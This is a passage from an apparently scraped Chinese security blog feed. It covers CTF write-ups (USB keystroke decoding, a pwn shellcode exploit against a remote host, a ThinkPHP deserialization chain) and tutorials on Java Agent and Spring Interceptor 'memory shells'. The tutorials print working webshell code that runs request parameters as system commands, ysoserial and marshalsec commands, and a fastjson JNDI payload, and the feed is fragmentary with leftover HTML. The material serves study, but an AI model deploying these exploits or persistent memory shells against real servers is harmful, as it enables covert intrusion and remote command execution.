    lcasekey[30]="1"; ucasekey[30]="!"
    lcasekey[31]="2"; ucasekey[31]="@"
    lcasekey[32]="3"; ucasekey[32]="#"
    lcasekey[33]="4"; ucasekey[33]="$"
    lcasekey[34]="5"; ucasekey[34]="%"
    lcasekey[35]="6"; ucasekey[35]="^"
    lcasekey[36]="7"; ucasekey[36]="&"
    lcasekey[37]="8"; ucasekey[37]="*"
    lcasekey[38]="9"; ucasekey[38]="("
    lcasekey[39]="0"; ucasekey[39]=")"
    lcasekey[40]="<Enter>"; ucasekey[40]="<Enter>"
    lcasekey[41]="<esc>"; ucasekey[41]="<esc>"
    lcasekey[42]="<del>"; ucasekey[42]="<del>"
    lcasekey[43]="<tab>"; ucasekey[43]="<tab>"
    lcasekey[44]="<space>"; ucasekey[44]="<space>"
    lcasekey[45]="-"; ucasekey[45]="_"
    lcasekey[46]="="; ucasekey[46]="+"
    lcasekey[47]="["; ucasekey[47]="{"
    lcasekey[48]="]"; ucasekey[48]="}"
    lcasekey[49]="\\"; ucasekey[49]="|"
    lcasekey[50]=" "; ucasekey[50]=" "
    lcasekey[51]=";"; ucasekey[51]=":"
    lcasekey[52]="'"; ucasekey[52]="\""
    lcasekey[53]="`"; ucasekey[53]="~"
    lcasekey[54]=","; ucasekey[54]="<"
    lcasekey[55]="."; ucasekey[55]=">"
    lcasekey[56]="/"; ucasekey[56]="?"
    lcasekey[57]="<CapsLock>"; ucasekey[57]="<CapsLock>"
    lcasekey[79]="<RightArrow>"; ucasekey[79]="<RightArrow>"
    lcasekey[80]="<LeftArrow>"; ucasekey[80]="<LeftArrow>"
    lcasekey[84]="/"; ucasekey[84]="/"
    lcasekey[85]="*"; ucasekey[85]="*"
    lcasekey[86]="-"; ucasekey[86]="-"
    lcasekey[87]="+"; ucasekey[87]="+"
    lcasekey[88]="<Enter>"; ucasekey[88]="<Enter>"
    lcasekey[89]="1"; ucasekey[89]="1"
    lcasekey[90]="2"; ucasekey[90]="2"
    lcasekey[91]="3"; ucasekey[91]="3"
    lcasekey[92]="4"; ucasekey[92]="4"
    lcasekey[93]="5"; ucasekey[93]="5"
    lcasekey[94]="6"; ucasekey[94]="6"
    lcasekey[95]="7"; ucasekey[95]="7"
    lcasekey[96]="8"; ucasekey[96]="8"
    lcasekey[97]="9"; ucasekey[97]="9"
    lcasekey[98]="0"; ucasekey[98]="0"
    lcasekey[99]="."; ucasekey[99]="."

    #make sure filename to open has been provided
    if len(sys.argv) == 2:
    keycodes = open(sys.argv[1])
    for line in keycodes:
    #dump line to bytearray
    bytesArray = bytearray.fromhex(line.strip())
    #see if we have a key code
    val = int(bytesArray[2])
    if val > 3 and val < 100:
    #see if left shift or right shift was held down
    if bytesArray[0] == 0x02 or bytesArray[0] == 0x20 :
    print(ucasekey[int(bytesArray[2])], end=''), #single line output
    #print(ucasekey[int(bytesArray[2])]) #newline output
    else:
    print(lcasekey[int(bytesArray[2])], end=''), #single line output
    #print(lcasekey[int(bytesArray[2])]) #newline output
    else:
    print("USAGE: python %s [filename]" % os.path.basename(__file__))

提取出来是:

1
526172211a0700Cf907300000d00000000000000c4527424943500300000002a00000002b9f9b0530778b5541d33080020000000666c61672e747874b9ba013242f3afc000b092c229d6e994167c05a78708b271ffc042ae3d251e65536f9ada87c77406b67d0e6316684766a86e844dc81aa2c72c71348d10c43d7b00400700e

看一下头几个字节,是rar压缩包的格式

需要密码,再提取一下2.10.1的usb流量,里面的内容就是密码

1
2
35c535765e50074a
拿到flag

pwn

checksec

截屏2022-05-29 下午6.44.34

libc2.33

逆向

首先我们在s处可以输入一个比较大的字符串。

截屏2022-05-29 下午6.45.35

参考2021 ciscn game,先逆出程序指令为opt:1\nmsg:ro0t\r\n格式,在下面三个功能中可以发现,mmap申请了一片4096size的可执行空间,并将s的内容拷贝进去,而需要申请首先需要切换至root。

截屏2022-05-29 下午6.48.44

并且在最后一句直接执行了s,这里基本可以确定是一个写shellcode的思路了。shellcode的地址储存在rdx寄存器上。

截屏2022-05-29 下午6.49.50

这里对我们输入的msg字符串进行了过滤,也就是shellcode必须为可见字符串。之前做过类似的题,可以直接使用工具生成。

截屏2022-05-29 下午6.51.22

这里使用https://github.com/veritas501/ae64的工具,首先使用pwntools模块生成64位shellcode,然后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
from ae64 import AE64

context.log_level = 'debug'
context.arch = 'amd64'

p = process('./login')

obj = AE64()
sc = obj.encode(asm(shellcraft.sh()),'rdx')

p.sendline(sc)

p.interactive()

​ 即可生成shellcode。

最后的exp:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.log_level = "debug"
p = remote("59.110.24.117",12587)
payload1 = b"opt:1\nmsg:ro0t\r\n"
p.sendlineafter(">>> ",payload1)
shellcode = b"RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZj3TYfi9520t800T810T850T860T870T8A0t8B0T8D0T8E0T8F0T8G0T8H0T8P0t8T0T8YRAPZ0t8J0T8M0T8N0t8Q0t8U0t8WZjUTYfi9200t800T850T8P0T8QRAPZ0t81ZjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP"
payload2 = b"opt:2\nmsg:" + shellcode + b"\r\n"
print(disasm(shellcode))
p.sendlineafter(">>> ",payload2)

p.interactive()

crypto

基于挑战码的双向认证

1
nc 123.56.111.202 30465


755权限直接读

签到

1
2
3
4
5
6
7
8
s1 = '1732251413440356045166710055'
s2 = '2832531571357564882876880585'

result=''
for i in range(28):
s=str((int(s1[i])+int(s2[i]))%10)
result+=s
print(result)

拿到session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /send?msg=s HTTP/1.1
Host: eci-2ze7x0b01kqqare1x3cq.cloudeci1.ichunqiu.com:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36
DNT: 1
Accept: */*
Referer: http://eci-2ze7x0b01kqqare1x3cq.cloudeci1.ichunqiu.com:8888/
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1637642221,1639116265,1639233730; ci_session=f514c6c1942d2d132cc01cfc1d0c1bc54c1ea914; __jsluid_h=5fb2a5f243a8185197d87fda46477685; session=eyJzdGF0dXMiOiJzdGFydCIsInVzZXIiOjEzOTI4ODAxOTY4ODE1MTEzMTM4NTg2MjUzOTczNDgzNzIwMjk0Nn0.YpLppQ.O6BssQxRhhdp7dexJDlmdegZKRc
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close
1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /send?msg=3564782984797810827932590530 HTTP/1.1
Host: eci-2ze7x0b01kqqare1x3cq.cloudeci1.ichunqiu.com:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36
DNT: 1
Accept: */*
Referer: http://eci-2ze7x0b01kqqare1x3cq.cloudeci1.ichunqiu.com:8888/
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1637642221,1639116265,1639233730; ci_session=f514c6c1942d2d132cc01cfc1d0c1bc54c1ea914; __jsluid_h=5fb2a5f243a8185197d87fda46477685; session=eyJzdGF0dXMiOiJzdGFydCIsInVzZXIiOjEzOTI4ODAxOTY4ODE1MTEzMTM4NTg2MjUzOTczNDgzNzIwMjk0Nn0.YpLppQ.O6BssQxRhhdp7dexJDlmdegZKRc
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close
]]>
<h2 id="web"><a href="#web" class="headerlink" title="web"></a>web</h2><h3 id="Ezpop"><a href="#Ezpop" class="headerlink" title="Ezpop"></a>Ezpop</h3><p>题目内容:最近,小明在学习php开发,于是下载了thinkphp的最新版,但是却被告知最新版本存在漏洞,你能找到漏洞在哪里吗?</p> <figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>&#123;</span><br><span class="line"> <span class="title">abstract</span> <span class="title">class</span> <span class="title">Model</span>&#123;</span><br><span class="line"> <span class="title">private</span> $<span class="title">lazySave</span> = <span class="title">false</span>;</span><br><span class="line"> <span class="keyword">private</span> $data = [];</span><br><span class="line"> <span class="keyword">private</span> $exists = <span class="keyword">false</span>;</span><br><span class="line"> <span class="keyword">protected</span> $table;</span><br><span class="line"> <span class="keyword">private</span> $withAttr = [];</span><br><span class="line"> <span class="keyword">protected</span> $json = [];</span><br><span class="line"> <span class="keyword">protected</span> $jsonAssoc = <span class="keyword">false</span>;</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($obj = <span class="string">''</span>)</span></span>&#123;</span><br><span class="line"> <span class="keyword">$this</span>-&gt;lazySave = <span class="keyword">True</span>;</span><br><span class="line"> <span class="keyword">$this</span>-&gt;data = [<span class="string">'whoami'</span> =&gt; [<span class="string">'cat /flag.txt'</span>]];</span><br><span class="line"> <span class="keyword">$this</span>-&gt;exists = <span class="keyword">True</span>;</span><br><span class="line"> <span class="keyword">$this</span>-&gt;table = $obj;</span><br><span class="line"> <span class="keyword">$this</span>-&gt;withAttr = [<span class="string">'whoami'</span> =&gt; [<span class="string">'system'</span>]];</span><br><span class="line"> <span class="keyword">$this</span>-&gt;json = [<span class="string">'whoami'</span>,[<span class="string">'whoami'</span>]];</span><br><span class="line"> <span class="keyword">$this</span>-&gt;jsonAssoc = <span class="keyword">True</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">model</span>&#123;</span><br><span class="line"> <span class="title">use</span> <span class="title">think</span>\<span class="title">Model</span>;</span><br><span class="line"> <span class="class"><span class="keyword">class</span> <span class="title">Pivot</span> <span class="keyword">extends</span> <span class="title">Model</span></span>&#123;</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span>&#123;</span><br><span class="line"> <span class="title">echo</span>(<span class="title">urlencode</span>(<span class="title">serialize</span>(<span class="title">new</span> <span class="title">think</span>\<span class="title">model</span>\<span class="title">Pivot</span>(<span class="title">new</span> <span class="title">think</span>\<span class="title">model</span>\<span class="title">Pivot</span>()))));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
Agent Memory Shell https://jlkl.github.io/2022/05/26/Java-10/ 2022-05-26T01:45:25.000Z 2022-05-26T01:49:00.237Z Java Agent

在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法

Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去

说白了 Java Agent 只是一个 Java 类而已,只不过普通的 Java 类是以 main 函数作为入口点的,Java Agent 的入口点则是 premain 和 agentmain

Java Agent 支持两种方式进行加载:

  1. 实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)
  2. 实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)

启动时加载 agent

premain 方法顾名思义,会在我们运行 main 方法之前进行调用,即在运行 main 方法之前会先去调用我们 jar 包中 Premain-Class 类中的 premain 方法

Burpsuite破解版启动时-javaagent参数使用的就是这个方法,下面举一个实际的例子

JDK 1.8.311

idea创建pom项目

1
2
3
4
5
public class Main {
public static void main(String[] args) {
System.out.println("Hello World");
}
}

菜单栏File->project stucture,添加Artifacts,选择执行的Main Class

image

然后菜单栏Build->Build Artifacts,在out目录下可以看到生成的jar文件

image

创建PremainDemo类,实现premain方法

1
2
3
4
5
6
7
import java.lang.instrument.Instrumentation;

public class PremainDemo {
public static void premain(String aegntArgs, Instrumentation inst) {
System.out.println("premain method is hooked!");
}
}

MANIFEST.MF,指定Premain-Class

1
2
Manifest-Version: 1.0
Premain-Class: PremainDemo

这里使用纯java命令来打包,javac将java文件编译成class文件后,使用jar打包

1
jar cvfm agent.jar MANIFEST.MF PremainDemo.class

添加-javaagent 参数,premain在main函数之前执行成功

image

在实际渗透测试的过程中肯定不能采用这样的方式,所以还是需要启动后加载

动态修改字节码

Instrumentation

在实现 premain 的时候,我们除了能获取到 agentArgs 参数,还可以获取 Instrumentation 实例,Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果

Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码,更加详细的介绍和方法,可以参照官方文档

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public interface Instrumentation {

// 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);

// 删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);

// 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

// 判断目标类是否能够修改。
boolean isModifiableClass(Class<?> theClass);

// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();

......
}
addTransformer

addTransformer 方法来用于注册 Transformer,所以我们可以通过编写 ClassFileTransformer 接口的实现类来注册我们自己的转换器

1
2
// 注册提供的转换器
void addTransformer(ClassFileTransformer transformer)

这样当类加载的时候,会进入我们自己的 Transformer 中的 transform 函数进行拦截

image

getAllLoadedClasses

getAllLoadedClasses 方法能列出所有已加载的 Class,我们可以通过遍历 Class 数组来寻找我们需要重定义的 class

image

retransformClasses

retransformClasses 方法能对已加载的 class 进行重新定义,也就是说如果我们的目标类已经被加载的话,我们可以调用该函数,来重新触发这个Transformer的拦截,以此达到对已加载的类进行字节码修改的效果

image

启动后加载agent

在 jdk 1.6 中实现了attach-on-demand(按需附着),我们可以使用 Attach API 动态加载 agent,主要涉及VirtualMachine这个类,有以下几个重要的方法

Attach :该类允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上

Text
1
VirtualMachine vm = VirtualMachine.attach(v.id());

loadAgent:向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。

Detach:从 JVM 上面解除一个代理(agent)

大概流程就是:通过 VirtualMachine 类的 attach(pid) 方法,可以 attach 到一个运行中的 java 进程上,之后便可以通过 loadAgent(agentJarPath) 来将agent 的 jar 包注入到对应的进程,然后对应的进程会调用agentmain方法。

image

Demo

AgentMainDemo.java

1
2
3
4
5
6
7
import java.lang.instrument.Instrumentation;

public class AgentMainDemo {
public static void agentmain(String agentArgs, Instrumentation inst) {
inst.addTransformer(new DefineTransformer(), true);
}
}

DefineTransformer.java

1
2
3
4
5
6
7
8
9
10
11
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class DefineTransformer implements ClassFileTransformer{
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println(className);
return new byte[0];
}
}

MANIFEST.MF

1
2
3
4
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: AgentMainDemo

如果需要修改已经被JVM加载过的类的字节码,那么还需要设置在 MANIFEST.MF 中添加 Can-Retransform-Classes: true 或 Can-Redefine-Classes: true

Text
1
2
Can-Retransform-Classes 是否支持类的重新替换
Can-Redefine-Classes 是否支持类的重新定义

打包agent.jar

1
jar cvfm agent.jar MANIFEST.MF AgentMainDemo.class DefineTransformer.class

测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class Main {
public static void main(String[] args) throws Exception {
String path = "/Users/str3am/Documents/Projects/agent-test/src/main/java/agent.jar";
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor v : list) {
//System.out.println(v.displayName());
if (v.displayName().contains("Main")) {
// 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
VirtualMachine vm = VirtualMachine.attach(v.id());
System.out.println("id - >>> " + v.id());
vm.loadAgent(path);
vm.detach();
}
}
}
}

image

这里只是Demo测试,输出了加载的类名

Agent Memory Shell

搭建一个cc5的springboot环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.example.agentmemoryshell.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

@Controller
public class VulnController {
@ResponseBody
@RequestMapping("/vuln")
public String Vuln(String payload) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(payload)));
Object o = (Object) ois.readObject();
return "Hello!";
}

@ResponseBody
@RequestMapping("/")
public String hello() {
return "Hello!";
}
}
1
2
3
4
5
6
7
8
9
10
11
12
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.5.13</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

yso cc5直接打,传base64之后的payload需要再urlencode一次,因为浏览器对+ 号的处理

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "open -a calculator" | base64

https://github.com/KpLi0rn/AgentMemShell,编写agent,直接劫持doFilter函数

AgentMain.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.lang.instrument.Instrumentation;

public class AgentMain {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

public static void agentmain(String agentArgs, Instrumentation ins) {
ins.addTransformer(new DefineTransformer(),true);
// 获取所有已加载的类
Class[] classes = ins.getAllLoadedClasses();
for (Class clas:classes){
if (clas.getName().equals(ClassName)){
try{
// 对类进行重新定义
ins.retransformClasses(new Class[]{clas});
} catch (Exception e){
e.printStackTrace();
}
}
}
}
}

DefineTransformer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;


public class DefineTransformer implements ClassFileTransformer {

public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
className = className.replace("/",".");
if (className.equals(ClassName)){
System.out.println("Find the Inject Class: " + ClassName);
ClassPool pool = ClassPool.getDefault();
try {
CtClass c = pool.getCtClass(className);
CtMethod m = c.getDeclaredMethod("doFilter");
m.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" +
"javax.servlet.http.HttpServletResponse res = response;\n" +
"java.lang.String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null){\n" +
" try {\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" String line;\n" +
" StringBuilder sb = new StringBuilder(\"\");\n" +
" while ((line=reader.readLine()) != null){\n" +
" sb.append(line).append(\"\\n\");\n" +
" }\n" +
" response.getOutputStream().print(sb.toString());\n" +
" response.getOutputStream().flush();\n" +
" response.getOutputStream().close();\n" +
" } catch (Exception e){\n" +
" e.printStackTrace();\n" +
" }\n" +
"}");
byte[] bytes = c.toBytecode();
c.detach();
return bytes;
} catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}

打包成jar文件

1
mvn assembly:assembly

使用自定义代码的ysoserial注入agent,https://github.com/KpLi0rn/ysoserial

agent.java

由于 tools.jar 并不会在 JVM 启动的时候默认加载,所以这里利用 URLClassloader 来加载我们的 tools.jar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
try{
java.lang.String path = "/Users/str3am/Downloads/AgentMemShell/target/AgentMain-1.0-SNAPSHOT-jar-with-dependencies.jar";
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
java.net.URL url = toolsPath.toURI().toURL();
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null);

System.out.println("Running JVM list ...");
for(int i=0;i<list.size();i++){
Object o = list.get(i);
java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
java.lang.String name = (java.lang.String) displayName.invoke(o,null);
// 列出当前有哪些 JVM 进程在运行
// 这里的 if 条件根据实际情况进行更改
if (name.contains("com.example.agentmemoryshell.AgentMemoryShellApplication")){
// 获取对应进程的 pid 号
java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
java.lang.String id = (java.lang.String) getId.invoke(o,null);
System.out.println("id >>> " + id);
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
java.lang.Object vm = attach.invoke(o,new Object[]{id});
java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
loadAgent.invoke(vm,new Object[]{path});
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
detach.invoke(vm,null);
System.out.println("Agent.jar Inject Success !!");
break;
}
}
} catch (Exception e){
e.printStackTrace();
}

生成yso payload打过去即可,注意这里选择CommonsCollections11

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11 codefile:./agent.java | base64

image

Refferences

]]>
<h2 id="Java-Agent"><a href="#Java-Agent" class="headerlink" title="Java Agent"></a>Java Agent</h2><p>在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,<strong>通过 java.lang.instrument 实现的工具我们称之为 Java Agent</strong> ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法</p> <p>Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去</p> <p>说白了 Java Agent 只是一个 Java 类而已,只不过普通的 Java 类是以 main 函数作为入口点的,Java Agent 的入口点则是 premain 和 agentmain</p> <p>Java Agent 支持两种方式进行加载:</p> <ol> <li>实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)</li> <li>实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)</li> </ol>
Spring Memory Shell https://jlkl.github.io/2022/05/26/Java-09/ 2022-05-26T01:41:12.000Z 2022-05-26T01:48:21.018Z Interceptor Memory Shell

实例

JDK 1.8.0_20,采用FastJson 1.2.47的RCE来创造反序列化漏洞利用点

创建springboot项目

image

这里先用2.5.13老版本springboot举例,勾选web

image

pom.xml,添加fastjson依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>

创建存在漏洞的controller

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.example.springmemoryshell.Controller;

import com.alibaba.fastjson.JSON;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class VulController {
@RequestMapping(value = "/vuln")
public String vuln(@RequestParam String content) {
JSON.parse(content);
return "hello";
}
}

创建恶意代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
//package bitterz.interceptors;

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;

public class InjectToInterceptor extends HandlerInterceptorAdapter {
public InjectToInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {
// WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// System.out.println("get context success");
// org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
// java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
// field.setAccessible(true);
// System.out.println("get field success");
// java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
//获得context
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
//获取 adaptedInterceptors 属性值
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
// 避免重复添加
for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
if (adaptedInterceptors.get(i) instanceof InjectToInterceptor) {
System.out.println("已经添加过TestInterceptor实例了");
return;
}
}

InjectToInterceptor aaa = new InjectToInterceptor("aaa"); // 避免进入实例创建的死循环
adaptedInterceptors.add(aaa); // 添加全局interceptor
System.out.println("添加成功");
}

private InjectToInterceptor(String aaa){}

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("cmd");
if (code != null) {
java.lang.Runtime.getRuntime().exec(code);
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",request.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
PrintWriter writer = response.getWriter();
writer.write(new String(bytes,0,len));
writer.flush();
writer.close();
process.destroy();
return true;
}
else {
// response.sendError(404);
return true;
}}}

启动恶意LDAP服务,在8090开启web服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#InjectToInterceptor

直接向vuln路由打fastjson payload,注入Interceptor内存马

1
2
3
4
5
6
7
8
9
10
11
content={
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:1389/#InjectToInterceptor",
